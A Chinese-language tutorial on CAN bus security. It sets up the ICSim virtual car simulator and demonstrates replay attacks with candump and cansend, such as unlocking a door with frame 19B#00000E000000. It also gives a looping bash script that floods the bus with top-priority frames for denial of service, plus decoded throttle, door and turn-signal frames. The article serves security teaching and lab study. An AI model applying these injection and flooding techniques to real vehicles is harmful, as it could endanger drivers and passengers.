CAN总线协议攻防实战:从漏洞分析到攻击模拟
CAN总线协议安全威胁分析
By GKDf1sh
0x01 CAN总线协议
1.1 CAN概述
1.1.1 CAN的特点
CAN(Controller Area Network,控制器局域网)是一种高效、可靠的通信协议,广泛应用于汽车电子系统中。其主要特点包括:
- 多主架构:所有节点均可主动发送数据,无主从限制。
- 高可靠性:支持差分信号传输,抗干扰能力强,适用于恶劣环境。
- 实时性:采用优先级机制,确保高优先级消息优先传输。
- 轻量化设计:仅需两根信号线(CAN_H 和 CAN_L),布线简单。
- 错误检测与恢复:内置CRC校验和错误处理机制,保证数据完整性。
1.1.2 数据帧格式
CAN协议定义了多种帧类型,其中最常用的是数据帧,用于传输实际数据。
例如:188#01000000
以下是标准数据帧的结构:
字段名称 | 长度(位) | 描述 |
---|---|---|
起始位(SOF) | 1 | 标识帧的开始,显性电平(逻辑0)。 |
标识符(ID) | 11/29 | 消息的优先级标识符,标准帧为11位,扩展帧为29位。 |
控制字段(Control) | 6 | 包含数据长度码(DLC),指示数据字段的字节数(0-8字节)。 |
数据字段(Data) | 0-64 | 实际传输的数据,最多8字节。 |
CRC字段 | 15 | 循环冗余校验码,用于检测传输错误。 |
ACK字段 | 2 | 接收节点通过ACK位确认接收到正确数据。 |
结束位(EOF) | 7 | 标识帧的结束,隐性电平(逻辑1)。 |
注意:扩展帧在标识符后增加了一个18位的扩展ID字段,用于更精细的消息分类。
1.2 为什么汽车常用CAN?
现代汽车包含大量电子控制单元(ECU),如发动机控制单元、制动系统、转向系统等。这些ECU需要实时交换数据以实现协同工作。CAN协议具有以下优势,使其成为汽车通信的首选:
- 实时性强:CAN协议采用基于优先级的仲裁机制,确保关键数据(如刹车信号)优先传输。
- 高可靠性:差分信号传输和错误检测机制使得CAN能够在电磁干扰严重的环境中稳定运行。
- 灵活性高:支持多主架构,各节点可独立发送数据,无需中央控制器协调。
- 低成本硬件:CAN控制器和收发器价格低廉,易于集成到各种ECU中。
- 简化布线:仅需两根信号线即可连接多个节点,显著减少了车内布线复杂度和重量。
1.3 安全威胁
1.3.1 缺乏身份认证
- 问题:CAN协议未提供节点身份验证机制,任何接入CAN总线的设备均可发送或接收数据。
- 风险:攻击者可以通过伪造消息干扰车辆正常运行。例如,发送虚假的刹车信号可能导致车辆紧急制动。
1.3.2 无加密保护
- 问题:CAN协议未对传输数据进行加密,所有消息均以明文形式传输。
- 风险:攻击者可通过嗅探工具捕获并分析CAN总线上的数据,获取敏感信息(如车速、油门开度等)。
1.3.3 缺乏访问控制
- 问题:CAN协议未限制节点的访问权限,任何节点均可监听或发送消息。
- 风险:恶意节点可能通过广播消息干扰其他节点的正常工作,甚至导致系统崩溃。
1.3.4 物理层易受攻击
- 问题:CAN总线采用两根信号线进行差分传输,物理接口暴露在外。
- 风险:攻击者可通过物理接入(如OBD-II接口)直接注入恶意消息或窃听数据。
1.4 典型攻击方式
- 重放攻击:攻击者捕获合法的CAN消息并重复发送,可能导致车辆执行非预期的操作(如反复刹车或加速)。
- 注入攻击:攻击者向CAN总线注入伪造消息,干扰车辆正常功能。
- 拒绝服务攻击:通过持续发送高优先级消息占用总线带宽,导致其他消息无法传输。
0x02 模拟环境搭建
这部分参考https://www.ctfiot.com/99634.html
- • ICSim(仪表盘模拟器)
- • Socketcand(CAN网络)
- • Kayak(一款基于SocketCAN的CAN总线分析工具)
2.1 安装ICSim
# 安装依赖
sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf -y
# 下载ICSim
git clone https://github.com/zombieCraig/ICSim.git
# 编译安装
cd ICSim/
sudo make
2.2 安装socketcand
# 下载socketcand
git clone https://github.com/linux-can/socketcand.git
cd socketcand
# 获取缺少的文件
wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
# 编译安装
autoconf
./configure
make clean
make
sudo make install
2.3 安装Kayak
# 下载
git clone https://github.com/dschanoeh/Kayak.git
# 安装jdk
sudo apt-get install openjdk-8-jdk
# 安装
cd Kayak
mvn clean package
2.4 设置虚拟CAN总线接口
# 设置vcan(虚拟CAN)接口
sudo modprobe can
sudo modprobe vcan
sudo ip link add dev vcan0 type vcan
sudo ip link set up vcan0
2.5 启动模拟器
# 打开仪表盘模拟器
./icsim vcan0
# 打开仪表盘控制器
./controls vcan0
仪表盘控制器,操作说明
功能 | 控制按钮 |
---|---|
转向 | 键盘左右 |
速度 | 键盘上下 |
开/关左前车门 | 右shift/左shit+A |
开/关右前车门 | 右shift/左shit+B |
开/关左后车门 | 右shift/左shit+X |
开/关右后车门 | 右shift/左shit+Y |
开启全部车门 | 左shift+右shift |
关闭全部车门 | 右shift+左shift |
0x03 重放攻击
3.1 抓取数据包
# 使用candump抓包
$ candump vcan0 -l
3.2 寻找关键的数据帧
3.2.1 二分查找
不断地将流量包分成两部分,直到最后只剩下一条数据帧。
$ canplayer -I turn1.log
$ python3 split.py turn1.log
$ canplayer -I turn11.log
......
split.py如下:
import argparse
def split_log_file(input_file):
with open(input_file, 'r') as f:
lines = f.readlines()
num_lines = len(lines)
base_name = input_file.rsplit('.', 1)[0] # 去掉扩展名
output_file1 = f"{base_name}1.log"
output_file2 = f"{base_name}2.log"
# 二分
midpoint = num_lines // 2
with open(output_file1, 'w') as f1, open(output_file2, 'w') as f2:
for i, line in enumerate(lines):
if i < midpoint:
f1.write(line)
else:
f2.write(line)
print(f"Split into {output_file1} and {output_file2}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("input_file")
args = parser.parse_args()
split_log_file(args.input_file)
3.2.2 对比仲裁ID差异
通过对比仲裁ID差异来确定具体数据帧,进而缩小范围,再逐个尝试
首先,保存正常无操作的流量包
$ candump vcan0 -f normal_log
接下来,记录门解锁操作时的流量包
$ candump vcan0 -f door_unlock_log
为确定在车门解锁时发送的特定 CAN数据帧,我们从正常流量包和解锁车门时的流量包中寻找ID的差异
$ cat normal_log | awk '{print $3}' | cut -d'#' -f1 | sort | uniq > normal_ids.txt
$ cat door_unlock_log | awk '{print $3}' | cut -d'#' -f1 | sort | uniq > unlock_ids.txt
$ diff normal_ids.txt unlock_ids.txt
输出结果如下:
16a17
> 19B
从这个结果来看,ID: 19B 仅在车门解锁时出现
此外,确认解锁消息的具体内容。执行以下命令以提取与 ID: 19B 相关的消息
$ cat door_unlock_log | awk '{print $3}' | grep 19B# | uniq
输出结果如下:
19B#00000E000000
解析后的消息使用 cansend
重新发送,就实现了重放攻击
$ cansend vcan0 19B#00000E000000
3.2.3 cansniffer进行过滤
使用cansniffer进行监听
$ cansniffer -c vcan0
这里的数据也分为了 time ID data 三部分,跟上面是一样的含义
其中变化的数据会以红色显示
3.2.4 SavvyCAN Sniff
利用SavvyCAN的Sniff功能进行查找
3.2.5 SavvyCAN FUZZ
0x04 DOS攻击
仲裁ID的数字越低,在网络上的优先级就越高
所以我们可以写一个bash脚本来实现快速重复执行下面的指令,简单高效
cansend vcan0 000#0000000000000000
#!/bin/bash
# 参数说明:
# $1: CAN接口名称(如vcan0)
# $2: CAN消息(如000#0000000000000000)
# $3: 发送间隔时间(单位:秒,默认0.1秒)
# $4: 总发送次数(可选,若未指定则无限循环)
INTERFACE=$1
MESSAGE=$2
INTERVAL=${3:-0.1} # 默认间隔0.1秒
COUNT=$4
if [[ -z "$INTERFACE" || -z "$MESSAGE" ]]; then
echo "用法: $0 <接口名> <CAN消息> [间隔时间] [发送次数]"
exit 1
fi
if [[ -n "$COUNT" ]]; then
# 如果指定了发送次数,则有限次发送
for ((i=1; i<=COUNT; i++)); do
cansend $INTERFACE $MESSAGE
sleep $INTERVAL
done
else
# 如果未指定发送次数,则无限循环发送
while true; do
cansend $INTERFACE $MESSAGE
sleep $INTERVAL
done
fi
0x05 数据帧总结
以下总结逆向得到的数据帧控制逻辑
5.1 油门控制
5.1.1. 指令格式
-
仲裁ID :
244
(通常对应动力系统控制,如电机或发动机扭矩请求)。 -
数据格式
:
244#000000XX00
,其中
XX
是关键控制字节。
- 示例:
- 加速指令:
244#0000003800
- 减速指令:
244#000000B000
- 加速指令:
- 示例:
5.1.2. 控制逻辑
XX
字节的结构如下:
- 最高位(第 8 位) :
0
:表示加速。1
:表示减速。
- 低 7 位(第 1-7 位) :
- 表示加减速的力度,范围为
0x00
到0x7F
(十进制 0 到 127)。 - 数值越大,力度越强。
- 表示加减速的力度,范围为
5.1.3. 示例分析
以下是具体指令的分解和解释:
加速指令
-
244#0000003800
:-
XX = 38
→ 二进制:
00111000
- 最高位:
0
(加速)。 - 低 7 位:
0111000
(十进制 56)。
- 最高位:
-
含义:以中等力度加速。
-
-
244#0000007F00
:-
XX = 7F
→ 二进制:
01111111
- 最高位:
0
(加速)。 - 低 7 位:
1111111
(十进制 127)。
- 最高位:
-
含义:以最高速度加速。
-
减速指令
-
244#000000B000
:-
XX = B0
→ 二进制:
10110000
- 最高位:
1
(减速)。 - 低 7 位:
0110000
(十进制 48)。
- 最高位:
-
含义:以中等力度减速。
-
-
244#000000FF00
:-
XX = FF
→ 二进制:
11111111
- 最高位:
1
(减速)。 - 低 7 位:
1111111
(十进制 127)。
- 最高位:
-
含义:以最强力度减速。
-
5.2 车门控制
5.2.1. 指令格式
- CAN消息格式为
19B#XXXXXXXXXXXX
。19B
是 CAN 总线的消息 ID。XXXXXXXXXXXX
是数据部分,其中第 3 和第 4 个字节(从左数)表示车门控制的状态。
- 示例:
19B#00000E000000
表示开启左前侧车门。19B#00000F000000
表示关闭所有车门。
5.2.2. 车门控制状态解析
车门控制状态由一个 4 位二进制值表示,对应 16 种可能的开关组合。每一位代表一个车门的状态:
- 1 :关门。
- 0 :开门。
二进制 | 十六进制 | 车门状态说明 |
---|---|---|
0000 | 0 | 所有车门打开 |
0001 | 1 | 左前侧车门关闭,其他车门打开 |
0010 | 2 | 右前侧车门关闭,其他车门打开 |
0011 | 3 | 左前和右前车门关闭,其他车门打开 |
0100 | 4 | 左后侧车门关闭,其他车门打开 |
0101 | 5 | 左前和左后车门关闭,其他车门打开 |
0110 | 6 | 右前和左后车门关闭,其他车门打开 |
0111 | 7 | 左前、右前和左后车门关闭,右后车门打开 |
1000 | 8 | 右后侧车门关闭,其他车门打开 |
1001 | 9 | 左前和右后车门关闭,其他车门打开 |
1010 | A | 右前和右后车门关闭,其他车门打开 |
1011 | B | 左前、右前和右后车门关闭,左后车门打开 |
1100 | C | 左后和右后车门关闭,其他车门打开 |
1101 | D | 左前、左后和右后车门关闭,右前车门打开 |
1110 | E | 右前、左后和右后车门关闭,左前车门打开 |
1111 | F | 所有车门关闭 |
5.2.3. 车门与二进制位的映射
每个二进制位对应一个特定的车门:
- 第 1 位(最低位) :左前侧车门。
- 第 2 位 :右前侧车门。
- 第 3 位 :左后侧车门。
- 第 4 位(最高位) :右后侧车门。
5.3 转向控制
5.3.1. 指令格式
-
CAN消息格式为
188#XXXXXXXX
188
是 CAN 总线的消息 ID。XXXXXXXX
是数据部分,其中第 1 个字节(从左数)表示转向灯的状态。- 示例:
188#01000000
表示左转。188#02000000
表示右转。
5.3.2. 转向控制状态解析
转向灯控制状态由一个 4 位二进制值表示,对应 16 种可能的开关组合。每一位代表一个特定的转向灯状态:
- 1 :灯亮。
- 0 :灯灭。
二进制 | 十六进制 | 状态说明 |
---|---|---|
0000 | 0 | 所有灯关闭 |
0001 | 1 | 左转灯亮 |
0010 | 2 | 右转灯亮 |
0011 | 3 | 双闪灯亮 |
0100 | 4 | (保留/未定义) |
0101 | 5 | 左转灯亮 + 其他模式 |
0110 | 6 | 右转灯亮 + 其他模式 |
0111 | 7 | 双闪灯亮+ 其他模式 |
1000 | 8 | (保留/未定义) |
1001 | 9 | 左转灯亮 + 其他模式 |
1010 | A | 右转灯亮 + 其他模式 |
1011 | B | 双闪灯亮+ 其他模式 |
1100 | C | (保留/未定义) |
1101 | D | 左转灯亮 + 其他模式 |
1110 | E | 右转灯亮 + 其他模式 |
1111 | F | 双闪灯亮+ 其他模式 |
5.3.3. 转向与二进制位的映射
每个二进制位对应一个特定的转向灯:
- 第 1 位(最低位) :左转灯。
- 第 2 位 :右转灯。
- 第 3 位 :双闪灯(当第 1 和第 2 位同时为 1 时)。
- 第 4 位(最高位) :保留或未定义。
0x06 模拟器和实车的区别
此模拟器具有简单的机制,可以从控制面板以外的第三方进行解锁。然而,在实际车辆中,已经采取了以下措施以加强安全性。
6.1 物理访问的困难性
实际车辆中的CAN总线通常被嵌入到复杂的电气系统中,并且可能需要特殊的工具或权限才能访问。这增加了攻击者直接接入总线的难度。
6.2 网络隔离
通过网关,外部网络与内部网络被分离,直接从外部访问内部CAN总线受到限制。现代车辆通常采用多层网络架构,例如将娱乐系统(外部网络)与动力系统(内部网络)分离。这种隔离通过网关实现,确保关键系统不会轻易暴露于外部威胁。
6.3 消息认证技术(SecOC)
通过在消息中附加验证码,采用了防止篡改或非法重发的技术。SecOC(Secure Onboard Communication)是一种车载通信安全标准,通过对每条消息添加加密签名或验证码,确保消息的真实性和完整性。这种方法可以有效防止消息被篡改或恶意重放。
参考链接
https://www.secure-iv.co.jp/blog/18995
https://www.freebuf.com/articles/network/281831.html
https://www.ctfiot.com/99634.html